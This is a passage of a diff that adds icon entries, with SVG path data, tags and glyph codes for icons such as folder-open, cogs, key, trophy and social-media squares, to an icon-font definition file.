"paths": [ + "M1073.714 544c0 13.714-8.571 27.429-17.714 37.714l-192 226.286c-33.143 38.857-100.571 69.714-150.857 69.714h-621.714c-20.571 0-49.714-6.286-49.714-32 0-13.714 8.571-27.429 17.714-37.714l192-226.286c33.143-38.857 100.571-69.714 150.857-69.714h621.714c20.571 0 49.714 6.286 49.714 32zM877.714 347.429v91.429h-475.429c-71.429 0-160 40.571-206.286 95.429l-195.429 229.714c0-4.571-0.571-9.714-0.571-14.286v-548.571c0-70.286 57.714-128 128-128h182.857c70.286 0 128 57.714 128 128v18.286h310.857c70.286 0 128 57.714 128 128z" + ], + "width": 1073.7371428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder-open" + ], + "defaultCode": 61564, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "folder-open", + "id": 118, + "order": 974, + "prevSize": 28, + "code": 61564 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 118 + }, + { + "icon": { + "paths": [ + "M402.286 182.857c0 20-16.571 36.571-36.571 36.571h-73.143v585.143h73.143c20 0 36.571 16.571 36.571 36.571 0 9.714-4 18.857-10.857 25.714l-146.286 146.286c-6.857 6.857-16 10.857-25.714 10.857s-18.857-4-25.714-10.857l-146.286-146.286c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h73.143v-585.143h-73.143c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l146.286-146.286c6.857-6.857 16-10.857 25.714-10.857s18.857 4 25.714 10.857l146.286 146.286c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 438.85714285714283, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrows-v" + ], + "defaultCode": 61565, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrows-v", + "id": 119, + "order": 975, + "prevSize": 28, + "code": 61565 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 119 + }, + { + "icon": { + "paths": [ + "M1024 512c0 9.714-4 18.857-10.857 25.714l-146.286 146.286c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-73.143h-585.143v73.143c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-146.286-146.286c-6.857-6.857-10.857-16-10.857-25.714s4-18.857 10.857-25.714l146.286-146.286c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571v73.143h585.143v-73.143c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l146.286 146.286c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrows-h" + ], + "defaultCode": 61566, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrows-h", + "id": 120, + "order": 976, + "prevSize": 28, + "code": 61566 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 120 + }, + { + "icon": { + "paths": [ + "M365.714 512v292.571h-146.286v-292.571h146.286zM585.143 219.429v585.143h-146.286v-585.143h146.286zM1170.286 877.714v73.143h-1170.286v-877.714h73.143v804.571h1097.143zM804.571 365.714v438.857h-146.286v-438.857h146.286zM1024 146.286v658.286h-146.286v-658.286h146.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bar-chart", + "bar-chart-o" + ], + "defaultCode": 61568, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bar-chart, bar-chart-o", + "id": 121, + "order": 977, + "prevSize": 28, + "code": 61568 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 121 + }, + { + "icon": { + "paths": [ + "M731.429 348.571c-21.714 9.714-44.571 16-69.143 19.429 25.143-14.857 44-38.857 53.143-66.857-23.429 13.714-49.143 24-76.571 29.143-21.714-23.429-53.143-37.714-87.429-37.714-66.286 0-120 53.714-120 120 0 9.143 0.571 18.857 2.857 27.429-100-5.143-188.571-52.571-248-125.714-10.286 17.714-16.571 38.857-16.571 60.571 0 41.714 19.429 78.286 52 100-20-0.571-38.857-6.286-57.143-14.857v1.143c0 58.286 44 106.857 98.857 117.714-10.286 2.857-18.286 4.571-29.143 4.571-7.429 0-14.857-1.143-22.286-2.286 15.429 47.429 59.429 82.286 112 83.429-41.143 32-92.571 51.429-149.143 51.429-9.714 0-19.429-0.571-28.571-1.714 53.143 33.714 116 53.714 184 53.714 220.571 0 341.714-182.857 341.714-341.714 0-5.143 0-10.286-0.571-15.429 23.429-16.571 44-37.714 60-62.286zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "twitter-square" + ], + "defaultCode": 61569, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "twitter-square", + "id": 122, + "order": 978, + "prevSize": 28, + "code": 61569 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 122 + }, + { + "icon": { + "paths": [ + "M713.143 73.143c90.857 0 164.571 73.714 164.571 164.571v548.571c0 90.857-73.714 164.571-164.571 164.571h-107.429v-340h113.714l17.143-132.571h-130.857v-84.571c0-38.286 10.286-64 65.714-64l69.714-0.571v-118.286c-12-1.714-53.714-5.143-101.714-5.143-101.143 0-170.857 61.714-170.857 174.857v97.714h-114.286v132.571h114.286v340h-304c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "facebook-square" + ], + "defaultCode": 61570, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "facebook-square", + "id": 123, + "order": 979, + "prevSize": 28, + "code": 61570 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 123 + }, + { + "icon": { + "paths": [ + "M530.286 475.429c0-10.286-8-18.286-18.286-18.286-50.286 0-91.429 41.143-91.429 91.429 0 10.286 8 18.286 18.286 18.286s18.286-8 18.286-18.286c0-30.286 24.571-54.857 54.857-54.857 10.286 0 18.286-8 18.286-18.286zM658.286 549.714c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286 65.714-146.286 146.286-146.286 146.286 65.714 146.286 146.286zM73.143 877.714h877.714v-73.143h-877.714v73.143zM731.429 549.714c0-121.143-98.286-219.429-219.429-219.429s-219.429 98.286-219.429 219.429 98.286 219.429 219.429 219.429 219.429-98.286 219.429-219.429zM146.286 182.857h219.429v-73.143h-219.429v73.143zM73.143 292.571h877.714v-146.286h-473.143l-36.571 73.143h-368v73.143zM1024 146.286v731.429c0 40.571-32.571 73.143-73.143 73.143h-877.714c-40.571 0-73.143-32.571-73.143-73.143v-731.429c0-40.571 32.571-73.143 73.143-73.143h877.714c40.571 0 73.143 32.571 73.143 73.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera-retro" + ], + "defaultCode": 61571, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "camera-retro", + "id": 124, + "order": 980, + "prevSize": 28, + "code": 61571 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 124 + }, + { + "icon": { + "paths": [ + "M475.429 292.571c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714c0 16.571 4 32.571 10.857 47.429-14.857-6.857-30.857-10.857-47.429-10.857-60.571 0-109.714 49.143-109.714 109.714s49.143 109.714 109.714 109.714 109.714-49.143 109.714-109.714c0-16.571-4-32.571-10.857-47.429 14.857 6.857 30.857 10.857 47.429 10.857 60.571 0 109.714-49.143 109.714-109.714zM961.714 694.857c0 13.143-52.571 65.714-65.714 65.714-14.857 0-61.143-53.714-73.143-65.714l-54.857 54.857 125.714 125.714c10.286 10.286 16 24.571 16 38.857 0 32-36.571 68.571-68.571 68.571-14.286 0-28.571-5.714-38.857-16l-383.429-383.429c-60 44.571-133.143 74.857-208.571 74.857-124.571 0-210.286-86.286-210.286-210.286 0-187.429 187.429-374.857 374.857-374.857 124 0 210.286 85.714 210.286 210.286 0 75.429-30.286 148.571-74.857 208.571l202.857 202.857 54.857-54.857c-12-12-65.714-58.286-65.714-73.143 0-13.143 52.571-65.714 65.714-65.714 4.571 0 9.714 2.286 13.143 5.714 21.143 21.143 180.571 171.429 180.571 188z" + ], + "width": 961.6822857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "key" + ], + "defaultCode": 61572, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "key", + "id": 125, + "order": 981, + "prevSize": 28, + "code": 61572 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 125 + }, + { + "icon": { + "paths": [ + "M512 512c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286 65.714 146.286 146.286 146.286 146.286-65.714 146.286-146.286zM950.857 804.571c0-40-33.143-73.143-73.143-73.143s-73.143 33.143-73.143 73.143c0 40.571 33.143 73.143 73.143 73.143 40.571 0 73.143-33.143 73.143-73.143zM950.857 219.429c0-40-33.143-73.143-73.143-73.143s-73.143 33.143-73.143 73.143c0 40.571 33.143 73.143 73.143 73.143 40.571 0 73.143-33.143 73.143-73.143zM731.429 460v105.714c0 7.429-5.714 16-13.143 17.143l-88.571 13.714c-4.571 14.857-10.857 29.143-18.286 43.429 16 22.857 33.143 44 51.429 65.714 2.286 3.429 4 6.857 4 11.429 0 4-1.143 8-4 10.857-11.429 15.429-75.429 85.143-92 85.143-4.571 0-8.571-1.714-12-4l-65.714-51.429c-14.286 7.429-28.571 13.143-44 17.714-2.857 29.143-5.714 60.571-13.143 88.571-2.286 8-9.143 13.714-17.143 13.714h-106.286c-8 0-16-6.286-17.143-14.286l-13.143-87.429c-14.857-4.571-29.143-10.857-42.857-17.714l-67.429 50.857c-2.857 2.857-7.429 4-11.429 4-4.571 0-8.571-1.714-12-4.571-14.857-13.714-82.286-74.857-82.286-91.429 0-4 1.714-7.429 4-10.857 16.571-21.714 33.714-42.857 50.286-65.143-8-15.429-14.857-30.857-20-46.857l-86.857-13.714c-8-1.143-13.714-8.571-13.714-16.571v-105.714c0-7.429 5.714-16 13.143-17.143l88.571-13.714c4.571-14.857 10.857-29.143 18.286-43.429-16-22.857-33.143-44-51.429-65.714-2.286-3.429-4-7.429-4-11.429s1.143-8 4-11.429c11.429-15.429 75.429-84.571 92-84.571 4.571 0 8.571 1.714 12 4l65.714 51.429c14.286-7.429 28.571-13.143 44-18.286 2.857-28.571 5.714-60 13.143-88 2.286-8 9.143-13.714 17.143-13.714h106.286c8 0 16 6.286 17.143 14.286l13.143 87.429c14.857 4.571 29.143 10.857 42.857 17.714l67.429-50.857c3.429-2.857 7.429-4 11.429-4 4.571 0 8.571 1.714 12 4.571 14.857 13.714 82.286 75.429 82.286 91.429 0 4-1.714 7.429-4 10.857-16.571 22.286-33.714 42.857-49.714 65.143 7.429 15.429 14.286 30.857 19.429 46.857l86.857 13.143c8 1.714 13.714 9.143 13.714 17.143zM1097.143 764.571v80c0 8.571-73.714 16.571-85.143 17.714-4.571 10.857-10.286 20.571-17.143 29.714 5.143 11.429 29.143 68.571 29.143 78.857 0 1.714-0.571 2.857-2.286 4-6.857 4-68 40.571-70.857 40.571-7.429 0-50.286-57.143-56-65.714-5.714 0.571-11.429 1.143-17.143 1.143s-11.429-0.571-17.143-1.143c-5.714 8.571-48.571 65.714-56 65.714-2.857 0-64-36.571-70.857-40.571-1.714-1.143-2.286-2.857-2.286-4 0-9.714 24-67.429 29.143-78.857-6.857-9.143-12.571-18.857-17.143-29.714-11.429-1.143-85.143-9.143-85.143-17.714v-80c0-8.571 73.714-16.571 85.143-17.714 4.571-10.286 10.286-20.571 17.143-29.714-5.143-11.429-29.143-69.143-29.143-78.857 0-1.143 0.571-2.857 2.286-4 6.857-3.429 68-40 70.857-40 7.429 0 50.286 56.571 56 65.143 5.714-0.571 11.429-1.143 17.143-1.143s11.429 0.571 17.143 1.143c16-22.286 33.143-44.571 52.571-64l3.429-1.143c2.857 0 64 36 70.857 40 1.714 1.143 2.286 2.857 2.286 4 0 10.286-24 67.429-29.143 78.857 6.857 9.143 12.571 19.429 17.143 29.714 11.429 1.143 85.143 9.143 85.143 17.714zM1097.143 179.429v80c0 8.571-73.714 16.571-85.143 17.714-4.571 10.857-10.286 20.571-17.143 29.714 5.143 11.429 29.143 68.571 29.143 78.857 0 1.714-0.571 2.857-2.286 4-6.857 4-68 40.571-70.857 40.571-7.429 0-50.286-57.143-56-65.714-5.714 0.571-11.429 1.143-17.143 1.143s-11.429-0.571-17.143-1.143c-5.714 8.571-48.571 65.714-56 65.714-2.857 0-64-36.571-70.857-40.571-1.714-1.143-2.286-2.857-2.286-4 0-9.714 24-67.429 29.143-78.857-6.857-9.143-12.571-18.857-17.143-29.714-11.429-1.143-85.143-9.143-85.143-17.714v-80c0-8.571 73.714-16.571 85.143-17.714 4.571-10.286 10.286-20.571 17.143-29.714-5.143-11.429-29.143-69.143-29.143-78.857 0-1.143 0.571-2.857 2.286-4 6.857-3.429 68-40 70.857-40 7.429 0 50.286 56.571 56 65.143 5.714-0.571 11.429-1.143 17.143-1.143s11.429 0.571 17.143 1.143c16-22.286 33.143-44.571 52.571-64l3.429-1.143c2.857 0 64 36 70.857 40 1.714 1.143 2.286 2.857 2.286 4 0 10.286-24 67.429-29.143 78.857 6.857 9.143 12.571 19.429 17.143 29.714 11.429 1.143 85.143 9.143 85.143 17.714z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cogs", + "gears" + ], + "defaultCode": 61573, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cogs, gears", + "id": 126, + "order": 982, + "prevSize": 28, + "code": 61573 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 126 + }, + { + "icon": { + "paths": [ + "M804.571 438.857c0 161.714-180 292.571-402.286 292.571-34.857 0-68.571-3.429-100.571-9.143-47.429 33.714-101.143 58.286-158.857 73.143-15.429 4-32 6.857-49.143 9.143h-1.714c-8.571 0-16.571-6.857-18.286-16.571v0c-2.286-10.857 5.143-17.714 11.429-25.143 22.286-25.143 47.429-47.429 66.857-94.857-92.571-53.714-152-136.571-152-229.143 0-161.714 180-292.571 402.286-292.571s402.286 130.857 402.286 292.571zM1024 585.143c0 93.143-59.429 175.429-152 229.143 19.429 47.429 44.571 69.714 66.857 94.857 6.286 7.429 13.714 14.286 11.429 25.143v0c-2.286 10.286-10.857 17.714-20 16.571-17.143-2.286-33.714-5.143-49.143-9.143-57.714-14.857-111.429-39.429-158.857-73.143-32 5.714-65.714 9.143-100.571 9.143-103.429 0-198.286-28.571-269.714-75.429 16.571 1.143 33.714 2.286 50.286 2.286 122.857 0 238.857-35.429 327.429-99.429 95.429-69.714 148-164 148-266.286 0-29.714-4.571-58.857-13.143-86.857 96.571 53.143 159.429 137.714 159.429 233.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "comments" + ], + "defaultCode": 61574, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "comments", + "id": 127, + "order": 983, + "prevSize": 28, + "code": 61574 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 127 + }, + { + "icon": { + "paths": [ + "M146.286 768c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM804.571 438.857c0-38.857-34.857-73.143-73.143-73.143h-201.143c0-66.857 54.857-115.429 54.857-182.857 0-66.857-13.143-109.714-91.429-109.714-36.571 37.143-17.714 124.571-73.143 182.857-16 16.571-29.714 34.286-44 52-25.714 33.143-93.714 130.857-138.857 130.857h-18.286v365.714h18.286c32 0 84.571 20.571 115.429 31.429 62.857 21.714 128 41.714 195.429 41.714h69.143c64.571 0 109.714-25.714 109.714-95.429 0-10.857-1.143-21.714-2.857-32 24-13.143 37.143-45.714 37.143-72 0-13.714-3.429-27.429-10.286-39.429 19.429-18.286 30.286-41.143 30.286-68 0-18.286-8-45.143-20-58.857 26.857-0.571 42.857-52 42.857-73.143zM877.714 438.286c0 33.143-9.714 65.714-28 93.143 3.429 12.571 5.143 26.286 5.143 39.429 0 28.571-7.429 57.143-21.714 82.286 1.143 8 1.714 16.571 1.714 24.571 0 36.571-12 73.143-34.286 101.714 1.143 108-72.571 171.429-178.286 171.429h-73.714c-81.143 0-156.571-24-232-50.286-16.571-5.714-62.857-22.857-78.857-22.857h-164.571c-40.571 0-73.143-32.571-73.143-73.143v-365.714c0-40.571 32.571-73.143 73.143-73.143h156.571c22.286-14.857 61.143-66.286 78.286-88.571 19.429-25.143 39.429-49.714 61.143-73.143 34.286-36.571 16-126.857 73.143-182.857 13.714-13.143 32-21.143 51.429-21.143 59.429 0 116.571 21.143 144.571 76.571 17.714 34.857 20 68 20 106.286 0 40-10.286 74.286-27.429 109.714h100.571c78.857 0 146.286 66.857 146.286 145.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumbs-o-up" + ], + "defaultCode": 61575, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thumbs-o-up", + "id": 128, + "order": 984, + "prevSize": 28, + "code": 61575 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 128 + }, + { + "icon": { + "paths": [ + "M146.286 256c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM804.571 585.143c0-21.143-16-72.571-42.857-73.143 12-13.714 20-40.571 20-58.857 0-26.857-10.857-49.714-30.286-68 6.857-12 10.286-25.714 10.286-39.429 0-26.286-13.143-58.857-37.143-72 1.714-10.286 2.857-21.143 2.857-32 0-66.857-42.286-95.429-105.714-95.429h-73.143c-67.429 0-132.571 20-195.429 41.714-30.857 10.857-83.429 31.429-115.429 31.429h-18.286v365.714h18.286c45.143 0 113.143 97.714 138.857 130.857 14.286 17.714 28 35.429 44 52 55.429 58.286 36.571 145.714 73.143 182.857 78.286 0 91.429-42.857 91.429-109.714 0-67.429-54.857-116-54.857-182.857h201.143c38.286 0 73.143-34.286 73.143-73.143zM877.714 585.714c0 78.857-67.429 145.714-146.286 145.714h-100.571c17.143 35.429 27.429 69.714 27.429 109.714 0 37.714-2.286 72-20 106.286-28 55.429-85.143 76.571-144.571 76.571-19.429 0-37.714-8-51.429-21.143-57.143-56-39.429-146.286-73.143-183.429-21.714-22.857-41.714-47.429-61.143-72.571-17.143-22.286-56-73.714-78.286-88.571h-156.571c-40.571 0-73.143-32.571-73.143-73.143v-365.714c0-40.571 32.571-73.143 73.143-73.143h164.571c16 0 62.286-17.143 78.857-22.857 82.286-28.571 153.714-50.286 241.714-50.286h64c104 0 178.857 61.714 178.286 168.571v2.857c22.286 28.571 34.286 65.143 34.286 101.714 0 8-0.571 16.571-1.714 24.571 14.286 25.143 21.714 53.714 21.714 82.286 0 13.143-1.714 26.857-5.143 39.429 18.286 27.429 28 60 28 93.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumbs-o-down" + ], + "defaultCode": 61576, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thumbs-o-down", + "id": 129, + "order": 985, + "prevSize": 28, + "code": 61576 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 129 + }, + { + "icon": { + "paths": [ + "M475.429 18.286v765.143l-256.571 134.857c-7.429 4-14.857 6.857-22.857 6.857-16.571 0-24-13.714-24-28.571 0-4 0.571-7.429 1.143-11.429l49.143-285.714-208-202.286c-6.857-7.429-14.286-17.143-14.286-27.429 0-17.143 17.714-24 32-26.286l286.857-41.714 128.571-260c5.143-10.857 14.857-23.429 28-23.429v0z" + ], + "width": 475.4285714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star-half" + ], + "defaultCode": 61577, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "star-half", + "id": 130, + "order": 986, + "prevSize": 28, + "code": 61577 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 130 + }, + { + "icon": { + "paths": [ + "M950.857 340.571c0-160.571-108.571-194.286-200-194.286-85.143 0-181.143 92-210.857 127.429-13.714 16.571-42.286 16.571-56 0-29.714-35.429-125.714-127.429-210.857-127.429-91.429 0-200 33.714-200 194.286 0 104.571 105.714 201.714 106.857 202.857l332 320 331.429-319.429c1.714-1.714 107.429-98.857 107.429-203.429zM1024 340.571c0 137.143-125.714 252-130.857 257.143l-356 342.857c-6.857 6.857-16 10.286-25.143 10.286s-18.286-3.429-25.143-10.286l-356.571-344c-4.571-4-130.286-118.857-130.286-256 0-167.429 102.286-267.429 273.143-267.429 100 0 193.714 78.857 238.857 123.429 45.143-44.571 138.857-123.429 238.857-123.429 170.857 0 273.143 100 273.143 267.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "heart-o" + ], + "defaultCode": 61578, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "heart-o", + "id": 131, + "order": 987, + "prevSize": 28, + "code": 61578 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 131 + }, + { + "icon": { + "paths": [ + "M365.714 822.857c0 16 7.429 54.857-18.286 54.857h-182.857c-90.857 0-164.571-73.714-164.571-164.571v-402.286c0-90.857 73.714-164.571 164.571-164.571h182.857c9.714 0 18.286 8.571 18.286 18.286 0 16 7.429 54.857-18.286 54.857h-182.857c-50.286 0-91.429 41.143-91.429 91.429v402.286c0 50.286 41.143 91.429 91.429 91.429h164.571c14.286 0 36.571-2.857 36.571 18.286zM896 512c0 9.714-4 18.857-10.857 25.714l-310.857 310.857c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-164.571h-256c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h256v-164.571c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l310.857 310.857c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 896, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sign-out" + ], + "defaultCode": 61579, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sign-out", + "id": 132, + "order": 988, + "prevSize": 28, + "code": 61579 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 132 + }, + { + "icon": { + "paths": [ + "M135.429 808h132v-396.571h-132v396.571zM276 289.143c-0.571-38.857-28.571-68.571-73.714-68.571s-74.857 29.714-74.857 68.571c0 37.714 28.571 68.571 73.143 68.571h0.571c46.286 0 74.857-30.857 74.857-68.571zM610.286 808h132v-227.429c0-121.714-65.143-178.286-152-178.286-70.857 0-102.286 39.429-119.429 66.857h1.143v-57.714h-132s1.714 37.143 0 396.571v0h132v-221.714c0-11.429 0.571-23.429 4-32 9.714-23.429 31.429-48 68-48 47.429 0 66.286 36 66.286 89.714v212zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "linkedin-square" + ], + "defaultCode": 61580, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "linkedin-square", + "id": 133, + "order": 989, + "prevSize": 28, + "code": 61580 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 133 + }, + { + "icon": { + "paths": [ + "M274.286 493.714v-256c0-10.286-8-18.286-18.286-18.286s-18.286 8-18.286 18.286v256c0 10.286 8 18.286 18.286 18.286s18.286-8 18.286-18.286zM658.286 694.857c0 20-16.571 36.571-36.571 36.571h-245.143l-29.143 276c-1.143 9.143-8.571 16.571-17.714 16.571h-0.571c-9.143 0-16.571-6.286-18.286-15.429l-43.429-277.143h-230.857c-20 0-36.571-16.571-36.571-36.571 0-93.714 70.857-182.857 146.286-182.857v-292.571c-40 0-73.143-33.143-73.143-73.143s33.143-73.143 73.143-73.143h365.714c40 0 73.143 33.143 73.143 73.143s-33.143 73.143-73.143 73.143v292.571c75.429 0 146.286 89.143 146.286 182.857z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "thumb-tack" + ], + "defaultCode": 61581, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "thumb-tack", + "id": 134, + "order": 990, + "prevSize": 28, + "code": 61581 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 134 + }, + { + "icon": { + "paths": [ + "M804.571 530.286v182.857c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h402.286c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-402.286c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429v-182.857c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286zM1024 36.571v292.571c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-100.571-100.571-372.571 372.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-65.143-65.143c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l372.571-372.571-100.571-100.571c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h292.571c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "external-link" + ], + "defaultCode": 61582, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "external-link", + "id": 135, + "order": 991, + "prevSize": 28, + "code": 61582 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 135 + }, + { + "icon": { + "paths": [ + "M676.571 512c0 9.714-4 18.857-10.857 25.714l-310.857 310.857c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-164.571h-256c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h256v-164.571c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l310.857 310.857c6.857 6.857 10.857 16 10.857 25.714zM877.714 310.857v402.286c0 90.857-73.714 164.571-164.571 164.571h-182.857c-9.714 0-18.286-8.571-18.286-18.286 0-16-7.429-54.857 18.286-54.857h182.857c50.286 0 91.429-41.143 91.429-91.429v-402.286c0-50.286-41.143-91.429-91.429-91.429h-164.571c-14.286 0-36.571 2.857-36.571-18.286 0-16-7.429-54.857 18.286-54.857h182.857c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sign-in" + ], + "defaultCode": 61584, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sign-in", + "id": 136, + "order": 992, + "prevSize": 28, + "code": 61584 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 136 + }, + { + "icon": { + "paths": [ + "M261.714 504.571c-24-52.571-42.286-122.286-42.286-212h-146.286v54.857c0 56 76 133.714 188.571 157.143zM877.714 347.429v-54.857h-146.286c0 89.714-18.286 159.429-42.286 212 112.571-23.429 188.571-101.143 188.571-157.143zM950.857 274.286v73.143c0 108.571-131.429 228.571-309.714 237.143-22.857 29.143-44 46.286-54.286 54.286-30.286 27.429-38.286 56-38.286 92.571s18.286 73.143 73.143 73.143 109.714 36.571 109.714 91.429v36.571c0 10.286-8 18.286-18.286 18.286h-475.429c-10.286 0-18.286-8-18.286-18.286v-36.571c0-54.857 54.857-91.429 109.714-91.429s73.143-36.571 73.143-73.143-8-65.143-38.286-92.571c-10.286-8-31.429-25.143-54.286-54.286-178.286-8.571-309.714-128.571-309.714-237.143v-73.143c0-30.286 24.571-54.857 54.857-54.857h164.571v-54.857c0-50.286 41.143-91.429 91.429-91.429h329.143c50.286 0 91.429 41.143 91.429 91.429v54.857h164.571c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trophy" + ], + "defaultCode": 61585, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "trophy", + "id": 137, + "order": 993, + "prevSize": 28, + "code": 61585 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 137 + }, + { + "icon": { + "paths": [ + "M296.571 685.714v0c1.143-1.714 0.571-5.143-1.714-7.429-2.857-2.286-6.286-2.857-8-1.143-1.143 1.714-0.571 5.143 1.714 7.429 2.857 2.286 6.286 2.857 8 1.143zM280.571 662.286c-1.714-2.286-4.571-3.429-6.857-2.286-1.714 1.143-1.714 4.571 0 6.857 2.286 2.857 5.143 4 6.857 2.857v0c1.714-1.143 1.714-4.571 0-7.429zM257.143 639.429v0c0.571-1.143-0.571-3.429-2.857-4.571-1.714-0.571-4-0.571-4.571 1.143-1.143 1.714 0 3.429 2.286 4.571 2.286 0.571 4.571 0.571 5.143-1.143zM269.143 652.571v0c1.143-1.143 1.143-4-1.143-5.714-1.714-2.286-4.571-2.857-5.714-1.714-1.714 1.714-1.143 4 0.571 6.286 1.714 